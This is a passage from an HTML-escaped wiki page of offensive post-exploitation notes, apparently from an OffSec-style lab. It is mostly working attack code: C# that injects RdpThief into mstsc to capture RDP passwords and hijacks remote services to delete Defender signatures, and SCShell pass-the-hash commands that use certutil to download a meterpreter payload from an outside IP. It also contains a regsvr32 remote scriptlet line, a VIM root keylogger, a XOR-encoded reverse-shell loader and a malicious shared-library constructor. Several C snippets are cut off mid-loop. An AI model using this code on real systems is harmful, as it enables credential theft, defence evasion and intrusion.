&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
